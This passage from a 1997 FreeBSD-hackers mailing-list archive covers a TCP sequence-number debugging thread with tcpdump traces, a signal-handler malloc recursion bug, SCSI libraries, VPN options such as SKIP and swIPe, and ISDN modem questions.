> 193.101.57.200.4315: . 2537005611:2537006147(536) ack 302 win 9112 (DF) 15:25:28.200881 193.101.57.200.4315 > 193.102.86.65.80: . ack 2537005611 win 17280 (DF) 15:25:39.142384 193.102.86.65.80 > 193.101.57.200.4315: . 2537005611:2537006147(536) ack 302 win 9112 (DF) 15:25:39.143176 193.101.57.200.4315 > 193.102.86.65.80: . ack 2537005611 win 17280 (DF) 15:26:01.614174 193.102.86.65.80 > 193.101.57.200.4315: . 2537005611:2537006147(536) ack 302 win 9112 (DF) 15:26:01.614970 193.101.57.200.4315 > 193.102.86.65.80: . ack 2537005611 win 17280 (DF) 15:26:46.615095 193.102.86.65.80 > 193.101.57.200.4315: . 2537005611:2537006147(536) ack 302 win 9112 (DF) 15:26:46.615889 193.101.57.200.4315 > 193.102.86.65.80: . ack 2537005611 win 17280 (DF) 15:27:42.930938 193.102.86.65.80 > 193.101.57.200.4315: . 2537005611:2537006147(536) ack 302 win 9112 (DF) 15:27:42.931799 193.101.57.200.4315 > 193.102.86.65.80: . ack 2537005611 win 17280 (DF) 15:28:39.125648 193.102.86.65.80 > 193.101.57.200.4315: . 2537005611:2537006147(536) ack 302 win 9112 (DF) 15:28:39.126675 193.101.57.200.4315 > 193.102.86.65.80: . ack 2537005611 win 17280 (DF) 15:29:35.367423 193.102.86.65.80 > 193.101.57.200.4315: . 2537005611:2537006147(536) ack 302 win 9112 (DF) 15:29:35.368217 193.101.57.200.4315 > 193.102.86.65.80: . ack 2537005611 win 17280 (DF) 15:30:31.616148 193.102.86.65.80 > 193.101.57.200.4315: . 2537005611:2537006147(536) ack 302 win 9112 (DF) 15:30:31.617006 193.101.57.200.4315 > 193.102.86.65.80: . ack 2537005611 win 17280 (DF) 15:31:27.871339 193.102.86.65.80 > 193.101.57.200.4315: . 2537005611:2537006147(536) ack 302 win 9112 (DF) 15:31:27.872302 193.101.57.200.4315 > 193.102.86.65.80: . ack 2537005611 win 17280 (DF) 15:32:24.129971 193.102.86.65.80 > 193.101.57.200.4315: . 2537005611:2537006147(536) ack 302 win 9112 (DF) 15:32:24.130754 193.101.57.200.4315 > 193.102.86.65.80: . ack 2537005611 win 17280 (DF) 15:33:20.377428 193.102.86.65.80 > 193.101.57.200.4315: . 2537005611:2537006147(536) ack 302 win 9112 (DF) 15:33:20.378275 193.101.57.200.4315 > 193.102.86.65.80: . ack 2537005611 win 17280 (DF) 15:35:12.911454 193.102.86.65.80 > 193.101.57.200.4315: . 2537005611:2537006147(536) ack 302 win 9112 (DF) 15:35:12.912244 193.101.57.200.4315 > 193.102.86.65.80: . ack 2537005611 win 17280 (DF) 15:37:05.431756 193.102.86.65.80 > 193.101.57.200.4315: . 2537005611:2537006147(536) ack 302 win 9112 (DF) 15:37:05.432548 193.101.57.200.4315 > 193.102.86.65.80: . ack 2537005611 win 17280 (DF) 15:38:01.680078 193.102.86.65.80 > 193.101.57.200.4315: . 2537005611:2537006147(536) ack 302 win 9112 (DF) 15:38:01.680915 193.101.57.200.4315 > 193.102.86.65.80: . ack 2537005611 win 17280 (DF) 15:38:57.950193 193.102.86.65.80 > 193.101.57.200.4315: . 2537005611:2537006147(536) ack 302 win 9112 (DF) 15:38:57.951151 193.101.57.200.4315 > 193.102.86.65.80: . ack 2537005611 win 17280 (DF) 15:39:54.132386 193.102.86.65.80 > 193.101.57.200.4315: . 2537005611:2537006147(536) ack 302 win 9112 (DF) 15:39:54.133176 193.101.57.200.4315 > 193.102.86.65.80: . ack 2537005611 win 17280 (DF) 15:40:19.392871 193.101.57.200.4315 > 193.102.86.65.80: F 302:302(0) ack 2537005611 win 17280 (DF) 15:40:19.570522 193.102.86.65.80 > 193.101.57.200.4315: . ack 303 win 9112 (DF) 15:40:19.571305 193.101.57.200.4315 > 193.102.86.65.80: F 302:302(0) ack 2537005611 win 17280 (DF) 15:40:19.712133 193.102.86.65.80 > 193.101.57.200.4315: . ack 303 win 9112 (DF) 15:40:19.712916 193.101.57.200.4315 > 193.102.86.65.80: F 302:302(0) ack 2537005611 win 17280 (DF) 15:40:19.858971 193.102.86.65.80 > 193.101.57.200.4315: . ack 303 win 9112 (DF) ... 15:47:23.799609 193.101.57.200.4315 > 193.102.86.65.80: F 302:302(0) ack 2537005611 win 17280 (DF) 15:47:23.805337 193.102.86.65.80 > 193.101.57.200.4315: . ack 303 win 9112 (DF) 15:47:23.806153 193.101.57.200.4315 > 193.102.86.65.80: F 302:302(0) ack 2537005611 win 17280 (DF) 15:47:23.859484 193.102.86.65.80 > 193.101.57.200.4315: . ack 303 win 9112 (DF) 15:47:23.860302 193.101.57.200.4315 > 193.102.86.65.80: F 302:302(0) ack 2537005611 win 17280 (DF) 15:47:23.866083 193.102.86.65.80 > 193.101.57.200.4315: . ack 303 win 9112 (DF) 15:47:23.866914 193.101.57.200.4315 > 193.102.86.65.80: F 302:302(0) ack 2537005611 win 17280 (DF) 15:47:23.959676 193.102.86.65.80 > 193.101.57.200.4315: . ack 303 win 9112 (DF) 15:47:23.960497 193.101.57.200.4315 > 193.102.86.65.80: F 302:302(0) ack 2537005611 win 17280 (DF) 15:47:24.089870 193.102.86.65.80 > 193.101.57.246.1038: P 1282040329:1282040865(536) ack 174 win 9112 (DF) 15:47:24.095168 193.102.86.65.80 > 193.101.57.200.4315: R 2661360186:2661360186(0) win 0 (DF) 15:47:24.124285 193.102.86.65.80 > 193.101.57.200.4315: . ack 303 win 9112 (DF) 15:47:24.125056 193.101.57.200.4315 > 193.102.86.65.80: R 1036554019:1036554019(0) win 0 -- J"org Wunsch Unix support engineer joerg_wunsch@interface-business.de http://www.interface-business.de/~j From owner-freebsd-hackers Tue Sep 16 09:06:50 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id JAA02428 for hackers-outgoing; Tue, 16 Sep 1997 09:06:50 -0700 (PDT) Received: from citadel.cdsec.com (citadel.cdsec.com [192.96.22.18]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id JAA02403; Tue, 16 Sep 1997 09:06:39 -0700 (PDT) Received: (from nobody@localhost) by citadel.cdsec.com (8.8.5/8.6.9) id SAA00523; Tue, 16 Sep 1997 18:11:05 +0200 (SAT) Received: by citadel via recvmail id 519; Tue Sep 16 18:10:57 1997 by gram.cdsec.com (8.8.5/8.8.5) id RAA00281; Tue, 16 Sep 1997 17:35:20 +0200 (SAT) From: Graham Wheeler Message-Id: <199709161535.RAA00281@cdsec.com> Subject: Re: Memory leak in getservbyXXX? To: phk@critter.freebsd.dk (Poul-Henning Kamp) Date: Tue, 16 Sep 1997 17:35:19 +0200 (SAT) Cc: freebsd-bugs@freebsd.org, hackers@freebsd.org In-Reply-To: <2508.874421096@critter.freebsd.dk> from "Poul-Henning Kamp" at Sep 16, 97 04:44:56 pm X-Mailer: ELM [version 2.4 PL25-h4.1] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk First off, I should say that I have found the problem. It is entirely my own code, so apologies for wasting people's time. Nontheless, I appreciate all the suggestions I got, and I learnt some useful stuff in the process (like the malloc options, which I never knew existed, not having done a `man malloc' for several years...) > I've looked at these stack traces, and I'm pretty sure I know the > smell of this one. > > My guess number one is that malloc bails out and that the topmost > couple of entries come from the __cleanup that happens in abort(). > > Make sure that filedescriptor #2 (as in: write(2,"FOO!",4)) is open > and points to something that will let you read the message, and look > for messages there. I'm impressed. The program is run as a daemon, so we weren't seeing the error message. Yesterday I had the idea of redirecting fd 2 when starting it up, and got the clue I needed; namely, malloc was reporting a recursive call. At the time that the gateway program was first written, FreeBSD did not yet support POSIX threads. Because the process is performance-critical, I wanted to avoid blocking calls as much as possible. Amongst such calls were DNS lookups (gethostbyXXX). So I got clever: I made a hash table of IP addresses to symbolic names, and I wrote code which spins off a child process for each DNS lookup which can't be satisfied from the cache. The child process communicates the result back to the parent via a pipe, and the parent adds this to the hash table. Because I wanted this to be completely asynchronous to the normal operation of the gateway, the parent reads from the pipe and inserts the result in the hash table in the SIGCHLD handler. The problem is that inserting an entry in the hash table requires dynamic memory allocation. So if the SIGCHLD happens while in a call to malloc(), then there is a recursive call. I'm currently trying to work around this by preallocating a hash table entry for the result before spinning off the child, and making sure that there are no calls to any other non-reentrant functions in the signal handler. Later I will use threads rather than a child process. It turns out that this was happening under FreeBSD 2.1, but that (i) it doesn't seem to happen as often and (ii) the process always exits. There is a second process running on the firewall whose task is somewhat like SysV's init - namely to keep restarting terminated processes. So we didn't notice it. Under FreeBSD 2.2.2, the process occasionally exits, but in most cases starts spinning in a busy loop, so we did notice it. I am assuming that when the process spins it is caused by the same problem; there is always the possibility that there are two bugs, and that the above will only fix the case where the process exits. I guess I'll find out soon enough... [In my defense I should state that the memory allocation is happening in a virtual method of a class about four levels deeper in the inheritance hierarchy - by the time that method was written I had probably forgotten that it was being called from within a signal handler. I guess this illustrates one of the potential hazards of systems programming in C++.] graham -- Dr Graham Wheeler E-mail: gram@cdsec.com Citadel Data Security Phone: +27(21)23-6065/6/7 Internet/Intranet Network Specialists Mobile: +27(83)-253-9864 Firewalls/Virtual Private Networks Fax: +27(21)24-3656 Data Security Products WWW: http://www.cdsec.com/ From owner-freebsd-hackers Tue Sep 16 09:07:12 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id JAA02460 for hackers-outgoing; Tue, 16 Sep 1997 09:07:12 -0700 (PDT) Received: from alpha.xerox.com (alpha.Xerox.COM [13.1.64.93]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id JAA02455 for ; Tue, 16 Sep 1997 09:07:08 -0700 (PDT) Received: from crevenia.parc.xerox.com ([13.2.116.11]) by alpha.xerox.com with SMTP id <52290(5)>; Tue, 16 Sep 1997 09:06:36 PDT Received: from localhost by crevenia.parc.xerox.com with SMTP id <177486>; Tue, 16 Sep 1997 09:06:25 -0700 To: joerg_wunsch@interface-business.de (Joerg Wunsch) cc: freebsd-hackers@freebsd.org (FreeBSD hackers) Subject: Re: Any TCP expert around? In-reply-to: Your message of "Tue, 16 Sep 97 07:35:25 PDT." <19970916163525.KH02502@ida.interface-business.de> Date: Tue, 16 Sep 1997 09:06:24 PDT From: Bill Fenner Message-Id: <97Sep16.090625pdt.177486@crevenia.parc.xerox.com> Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Your server sends two different SYN/ACK replies back, both with different initial sequence numbers, and then starts sending data with a third different sequence number. FreeBSD ignores the second SYN/ACK because it's outside of the window, and it ignores all of the data packets because they're outside of the window. The reason you're getting the many pairs of FIN-ACK is because FreeBSD discards ACKs whose sequence number is outside the window (tcpdump doesn't print the sequence number of ack-only packets, so this is only a guess) so none of the ACKs of the FIN make it through the checks. If the server can make up its mind about what sequence number space to use, then the connection will look a little more normal. >What makes me a little nervous is the couple of packets sent by the >FreeBSD side at 15:39.54.132386 and 15:39:54.133176. Why are there >two packets? >15:39:54.132386 193.102.86.65.80 > 193.101.57.200.4315: . 2537005611:253700614 > 7(536) ack 302 win 9112 (DF) >15:39:54.133176 193.101.57.200.4315 > 193.102.86.65.80: . ack 2537005611 win 1 > 7280 (DF) >15:40:19.392871 193.101.57.200.4315 > 193.102.86.65.80: F 302:302(0) ack 25370 > 05611 win 17280 (DF) I'm confused - the two packets that you referenced were from different machines. But if you mean why isn't the FIN on the first packet from the client, it's because the packet at .133176 is an ACK-only reply to the out-of-sequence data packet at .132386, and the packet that looks similar but is actually 25 seconds later comes when the client decides to close the connection. I'm not absolutely sure that I think the sequence numbers in the client's ACK's are right - I think it should be ACKing the first byte it expects to get (which I think is 2661360185, not 2537005611). I'll have to look this one up. Bill From owner-freebsd-hackers Tue Sep 16 09:15:29 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id JAA02941 for hackers-outgoing; Tue, 16 Sep 1997 09:15:29 -0700 (PDT) Received: from innocence.interface-business.de (innocence.interface-business.de [193.101.57.202]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id JAA02936 for ; Tue, 16 Sep 1997 09:15:24 -0700 (PDT) Received: from ida.interface-business.de (ida.interface-business.de [193.101.57.203]) by innocence.interface-business.de (8.6.11/8.6.9) with SMTP id SAA29256; Tue, 16 Sep 1997 18:15:11 +0200 Received: (from j@localhost) by ida.interface-business.de (8.8.7/8.7.3) id SAA06307; Tue, 16 Sep 1997 18:15:11 +0200 (MET DST) Message-ID: <19970916181510.OK51303@ida.interface-business.de> Date: Tue, 16 Sep 1997 18:15:10 +0200 From: j@ida.interface-business.de (J Wunsch) To: fenner@parc.xerox.com (Bill Fenner) Cc: freebsd-hackers@freebsd.org (FreeBSD hackers) Subject: Re: Any TCP expert around? References: <19970916163525.KH02502@ida.interface-business.de> <97Sep16.090625pdt.177486@crevenia.parc.xerox.com> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-31809-14 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Organization: interface business GmbH, Dresden Reply-To: joerg_wunsch@interface-business.de (Joerg Wunsch) Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk As Bill Fenner wrote: > Your server sends two different SYN/ACK replies back, both with > different initial sequence numbers, and then starts sending data with a > third different sequence number. FreeBSD ignores the second SYN/ACK > because it's outside of the window, and it ignores all of the data > packets because they're outside of the window. Well, no. This is merely misreading since tcpdump adjusts its idea of the base sequence number for the connection after seeing the second SYN. As i wrote you in the private mail, a tcpdump with absolute sequence numbers shows that the server is actually later using the sequence number space it suggested in its first SYN. So i think the BSD implementation is in error, since it never re-synchronizes after getting the bogus SYN packet. > >What makes me a little nervous is the couple of packets sent by the > >FreeBSD side at 15:39.54.132386 and 15:39:54.133176. Why are there > >two packets? > I'm confused - the two packets that you referenced were from different > machines. Well, i was confused, and didn't look close enough at first. I later realized that the actual problem is starting with the bogus SYN received from the server. -- J"org Wunsch Unix support engineer joerg_wunsch@interface-business.de http://www.interface-business.de/~j From owner-freebsd-hackers Tue Sep 16 09:29:27 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id JAA03781 for hackers-outgoing; Tue, 16 Sep 1997 09:29:27 -0700 (PDT) Received: from rah.star-gate.com (rah.star-gate.com [204.188.121.18]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id JAA03776 for ; Tue, 16 Sep 1997 09:29:18 -0700 (PDT) Received: from rah.star-gate.com (localhost.star-gate.com [127.0.0.1]) by rah.star-gate.com (8.8.7/8.8.5) with ESMTP id JAA00468; Tue, 16 Sep 1997 09:28:48 -0700 (PDT) Message-Id: <199709161628.JAA00468@rah.star-gate.com> X-Mailer: exmh version 2.0gamma 1/27/96 To: Charles Green cc: hackers@FreeBSD.ORG Subject: Re: SCSI general driver 'scg' In-reply-to: Your message of "Tue, 16 Sep 1997 13:19:34 GMT." <199709161319.NAA07617@fang.cs.sunyit.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 16 Sep 1997 09:28:48 -0700 From: Amancio Hasty Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk We have a scsi library which various programs use . Here is a list of scsi commands: scsireq_buff_decode(3), scsireq_build(3), scsireq_decode(3), scsireq_encode(3), scsireq_enter(3), scsireq_new(3), scsireq_reset(3), SCSIREQ_ERROR(3), scsi_open( 3), scsi_debug(3), scsi_debug_output(3) - SCSI User library tosha in the audio ports section uses the scsi library to read audio CDs. Cheers, Amancio >From The Desk Of Charles Green : > Is there anything like SunOS's SCSI general driver 'scg' for freebsd. ? > I was looking through a number of the linux cdrecording applications and > noticed that most used the scg driver. > > > -- > Charles Green, PRC Inc. > Rome Laboratory, NY > From owner-freebsd-hackers Tue Sep 16 09:48:38 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id JAA04834 for hackers-outgoing; Tue, 16 Sep 1997 09:48:38 -0700 (PDT) Received: from news1.gtn.com (news1.gtn.com [194.77.0.15]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id JAA04829; Tue, 16 Sep 1997 09:48:31 -0700 (PDT) Received: (from uucp@localhost) by news1.gtn.com (8.8.6/8.8.6) with UUCP id SAA16262; Tue, 16 Sep 1997 18:45:31 +0200 (MET DST) Received: (from andreas@localhost) by klemm.gtn.com (8.8.7/8.8.7) id SAA11559; Tue, 16 Sep 1997 18:29:25 +0200 (CEST) Message-ID: <19970916182925.26072@klemm.gtn.com> Date: Tue, 16 Sep 1997 18:29:25 +0200 From: Andreas Klemm To: Greg Lehey Cc: Luigi Rizzo , hackers@FreeBSD.ORG, FreeBSD Chat Subject: Re: not the sounddriver this time .... References: <199709101250.OAA21535@labinfo.iet.unipi.it> <19970911081907.29251@lemis.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.81 In-Reply-To: <19970911081907.29251@lemis.com>; from Greg Lehey on Thu, Sep 11, 1997 at 08:19:07AM +0930 X-Disclaimer: A free society is one where it is safe to be unpopular X-Operating-System: FreeBSD 3.0-970911-SNAP SMP Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Thu, Sep 11, 1997 at 08:19:07AM +0930, Greg Lehey wrote: > On Wed, Sep 10, 1997 at 02:50:38PM +0200, Luigi Rizzo wrote: > > ... but a cute new baby! > > > > Silvia Rizzo is born a couple of hours ago :) > > Congratulations! Me too ;-) So you need soon daemon T-Shirts, napkins, ... ;-) -- Andreas Klemm | klemm.gtn.com - powered by Symmetric MultiProcessor FreeBSD http://www.freebsd.org/~fsmp/SMP/SMP.html http://www.freebsd.org/~fsmp/SMP/benches.html From owner-freebsd-hackers Tue Sep 16 10:43:55 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id KAA08336 for hackers-outgoing; Tue, 16 Sep 1997 10:43:55 -0700 (PDT) Received: from critter.freebsd.dk (critter.freebsd.dk [195.8.129.26]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id KAA08329; Tue, 16 Sep 1997 10:43:50 -0700 (PDT) Received: from critter.freebsd.dk (localhost.cybercity.dk [127.0.0.1]) by critter.freebsd.dk (8.8.7/8.8.7) with ESMTP id TAA01024; Tue, 16 Sep 1997 19:43:14 +0200 (CEST) To: Graham Wheeler cc: freebsd-bugs@FreeBSD.ORG, hackers@FreeBSD.ORG Subject: Re: Memory leak in getservbyXXX? In-reply-to: Your message of "Sat, 16 Sep 1997 17:35:19 +0200." <199709161535.RAA00281@cdsec.com> Date: Tue, 16 Sep 1997 19:43:13 +0200 Message-ID: <1022.874431793@critter.freebsd.dk> From: Poul-Henning Kamp Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk In message <199709161535.RAA00281@cdsec.com>, Graham Wheeler writes: >First off, I should say that I have found the problem. It is entirely my >own code, so apologies for wasting people's time. Nontheless, I appreciate >all the suggestions I got, and I learnt some useful stuff in the process >(like the malloc options, which I never knew existed, not having done a >`man malloc' for several years...) Well, I found out that nobody else had either :-) It's much against my liking that the process can spin when I call abort(), but that is apearantly what POSIX dictates :-( -- Poul-Henning Kamp FreeBSD coreteam member phk@FreeBSD.ORG "Real hackers run -current on their laptop." From owner-freebsd-hackers Tue Sep 16 10:55:38 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id KAA09226 for hackers-outgoing; Tue, 16 Sep 1997 10:55:38 -0700 (PDT) Received: from ingenieria ([168.176.15.11]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id KAA09138; Tue, 16 Sep 1997 10:54:43 -0700 (PDT) Received: by ingenieria (SMI-8.6/SMI-SVR4) id NAA08411; Tue, 16 Sep 1997 13:40:58 -0400 Date: Tue, 16 Sep 1997 13:40:58 -0400 (EDT) From: Yonny Cardenas To: hackers@freebsd.org cc: questions@freebsd.org Subject: RIP in serials links Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk A link ppp is multicasting. RIPv2 support multicating in links point-to-point, but by default Internet Discovery Protocol advertisements nor solicitations are sent over point-to-point links (e.g. PPP). The following messages show Routed: Add interface ppp0 200.20.30.1 --> 9.30.20.200/32 This link no interchange routing information. Need configuration especial in file /etc/gateways ? How ? Thanks for your help. ------------------------------------------------------------------------- YONNY CARDENAS B. Systems Engineer || || ||| || Universidad Nacional de Colombia || || || | || Email : yonny@ingenieria.ingsala.unal.edu.co ||||||| || ||| From owner-freebsd-hackers Tue Sep 16 12:46:37 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id MAA15537 for hackers-outgoing; Tue, 16 Sep 1997 12:46:37 -0700 (PDT) Received: from ptway.com (apollo.ptway.com [199.176.148.3]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id MAA15530 for ; Tue, 16 Sep 1997 12:46:33 -0700 (PDT) Received: from brianjr.haskin.org (222R1.ptway.com [199.176.148.89]) by ptway.com (8.7.1/3.4W4-PTWAY-sco-ODT3.0) with ESMTP id PAA25896; Tue, 16 Sep 1997 15:20:56 -0400 (EDT) Message-ID: <341EDD69.9EA2140E@ptway.com> Date: Tue, 16 Sep 1997 15:26:33 -0400 From: Brian Haskin X-Mailer: Mozilla 4.01 [en] (Win95; I) MIME-Version: 1.0 To: Simon Shapiro CC: FreeBSD-Hackers Subject: Re: Fast Encryption (in kernel) seeked X-Priority: 3 (Normal) References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Simon Shapiro wrote: > Snip responses to my mad ravings ;) > > Forget about a pointer. Thnk about a cookie. I hand you a cookie and > a > key. With the key I can authenticate you and the cookie. If you > passed the > pair to someone else, that's fine. But the trichk is to know that the > cookie > is good. As I said, if I have to go look for the original where the > cookie > came from, than nothing was gained. > > A very simplistic example is to say: > > u_int32_t cookie = (uin32_t)something_else; > u_int32_t token = ~cookie; > > Then we pass both cookie and token to userspace. When we get them > back, > sometime later, we do: > > if ( cookie == ~token ) > all is well; > else > something bad; > > The only problem here, is that if you meliciously give me a bad cookie > and > a matching token, I will never know what hit me. > > One solution could be md5. If I could md5 the outgoing cookie and > then > md5 the incoming cookie, I would have a reasonable certainty the > cookie is > valid. This means I could give you the cookie but not the token, and > carefully check the incoming cookie against a secret token. But this > checking > needs to reliable and FAST. > > ... [SNIP] Ok, now I see what your trying to do. If you have access to md5 instead of just hashing the pointer hash the pointer and some random data K. then hand this hash and the pointer off of course saving K. When it comes back just hash the pointer and K again and make sure it matches. The same K can be used for all pointers handed out. Hope I got what your trying to do right this time. Brian Haskin From owner-freebsd-hackers Tue Sep 16 13:01:54 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id NAA16525 for hackers-outgoing; Tue, 16 Sep 1997 13:01:54 -0700 (PDT) Received: from bmccane.uit.net (bmccane.uit.net [209.83.205.48]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id NAA16513 for ; Tue, 16 Sep 1997 13:01:45 -0700 (PDT) Received: from bmccane.uit.net (localhost.mccane.com [127.0.0.1]) by bmccane.uit.net (8.8.7/8.8.5) with ESMTP id PAA09644 for ; Tue, 16 Sep 1997 15:00:25 -0500 (CDT) Message-Id: <199709162000.PAA09644@bmccane.uit.net> X-Mailer: exmh version 2.0gamma 1/27/96 To: hackers@freebsd.org Subject: SKIP Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 16 Sep 1997 15:00:24 -0500 From: Wm Brian McCane Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Greetings, I asked about VPN's a few weeks ago and was referred to the SKIP project. Now, I have a customer that wants to setup a VPN between to locations because a F/Relay connection costs about 3 times what ISPs charge for 128K ISDN in their areas. Anyway, I am getting ready to look at porting SKIP to 3.0 and was wondering if someone on this list might have already done this, or even have started on it. Basically, I hate to duplicate the work, but I need it within the next 2-3 weeks. (God I hope it actually works 8). brian From owner-freebsd-hackers Tue Sep 16 14:32:35 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id OAA21018 for hackers-outgoing; Tue, 16 Sep 1997 14:32:35 -0700 (PDT) Received: from bmccane.uit.net (bmccane.uit.net [209.83.205.48]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id OAA20993 for ; Tue, 16 Sep 1997 14:32:29 -0700 (PDT) Received: from bmccane.uit.net (localhost.mccane.com [127.0.0.1]) by bmccane.uit.net (8.8.7/8.8.5) with ESMTP id QAA12072 for ; Tue, 16 Sep 1997 16:32:24 -0500 (CDT) Message-Id: <199709162132.QAA12072@bmccane.uit.net> X-Mailer: exmh version 2.0gamma 1/27/96 To: hackers@freebsd.org Subject: ISDN Modems Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 16 Sep 1997 16:32:19 -0500 From: Wm Brian McCane Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Greetings, I was wondering which/if any internal ISDN modems work with FreeBSD. I am needing to connect 2 machines to the internet and would prefer built modems, but I could use externals if someone can tell me which serial cards are available that can do 230400 bps or better. I also intend to use `bisdn' for this system unless there are any serious objections or concerns from the community 8). brian From owner-freebsd-hackers Tue Sep 16 14:55:03 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id OAA22499 for hackers-outgoing; Tue, 16 Sep 1997 14:55:03 -0700 (PDT) Received: (from jmb@localhost) by hub.freebsd.org (8.8.7/8.8.7) id OAA22487; Tue, 16 Sep 1997 14:54:55 -0700 (PDT) From: "Jonathan M. Bresler" Message-Id: <199709162154.OAA22487@hub.freebsd.org> Subject: Re: SKIP To: root@bmccane.uit.net (Wm Brian McCane) Date: Tue, 16 Sep 1997 14:54:55 -0700 (PDT) Cc: hackers@freebsd.org In-Reply-To: <199709162000.PAA09644@bmccane.uit.net> from "Wm Brian McCane" at Sep 16, 97 03:00:24 pm X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Wm Brian McCane wrote: > > Greetings, > > I asked about VPN's a few weeks ago and was referred to the SKIP > project. Now, I have a customer that wants to setup a VPN between to > locations because a F/Relay connection costs about 3 times what ISPs charge > for 128K ISDN in their areas. Anyway, I am getting ready to look at porting > SKIP to 3.0 and was wondering if someone on this list might have already done > this, or even have started on it. Basically, I hate to duplicate the work, > but I need it within the next 2-3 weeks. (God I hope it actually works 8). > if it does not work out, you can bail on SKIP and use swIPe. TIS's guantlet firewall's used swIPe. be careful of copyright restrictions. ftp://ftp.csua.berkeley.edu/pub/cypherpunks/swIPe/ hmmm....copyright looks fine, ala FreeBSD /* * The author of this software is John Ioannidis, ji@cs.columbia.edu. * Copyright (C) 1993, by John Ioannidis. * * Permission to use, copy, and modify this software without fee * is hereby granted, provided that this entire notice is included in * all copies of any software which is or includes a copy or * modification of this software. * * THIS SOFTWARE IS BEING PROVIDED "AS IS", WITHOUT ANY EXPRESS OR * IMPLIED WARRANTY. IN PARTICULAR, THE AUTHOR DOES MAKE ANY * REPRESENTATION OR WARRANTY OF ANY KIND CONCERNING THE * MERCHANTABILITY OF THIS SOFTWARE OR ITS FITNESS FOR ANY PARTICULAR * PURPOSE. */ jmb From owner-freebsd-hackers Tue Sep 16 16:18:05 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id QAA26280 for hackers-outgoing; Tue, 16 Sep 1997 16:18:05 -0700 (PDT) Received: from dfw-ix11.ix.netcom.com (dfw-ix11.ix.netcom.com [206.214.98.11]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id QAA26275 for ; Tue, 16 Sep 1997 16:17:57 -0700 (PDT) Received: (from smap@localhost) by dfw-ix11.ix.netcom.com (8.8.4/8.8.4) id SAA26963 for ; Tue, 16 Sep 1997 18:17:15 -0500 (CDT) Received: from 110.245.3-1.fo.pmpool.quiknet.com(207.183.245.110) by dfw-ix11.ix.netcom.com via smap (V1.3) id rma026910; Tue Sep 16 18:16:45 1997 Message-ID: <341F137E.51B5@netpics.com> Date: Tue, 16 Sep 1997 16:17:18 -0700 From: "Annie Creelman, Netpics Account Manager" Reply-To: annie@netpics.com X-Mailer: Mozilla 3.01 (Win95; I; 16bit) MIME-Version: 1.0 To: hackers@freebsd.org Subject: (no subject) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk subscribe hackers-freebsd.org From owner-freebsd-hackers Tue Sep 16 16:45:52 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id QAA27448 for hackers-outgoing; Tue, 16 Sep 1997 16:45:52 -0700 (PDT) Received: from word.smith.net.au (ppp20.portal.net.au [202.12.71.120]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id QAA27434 for ; Tue, 16 Sep 1997 16:45:45 -0700 (PDT) Received: from word.smith.net.au (localhost.smith.net.au [127.0.0.1]) by word.smith.net.au (8.8.7/8.8.5) with ESMTP id JAA00439; Wed, 17 Sep 1997 09:13:32 +0930 (CST) Message-Id: <199709162343.JAA00439@word.smith.net.au> X-Mailer: exmh version 2.0zeta 7/24/97 To: Charles Green cc: hackers@freebsd.org Subject: Re: SCSI general driver 'scg' In-reply-to: Your message of 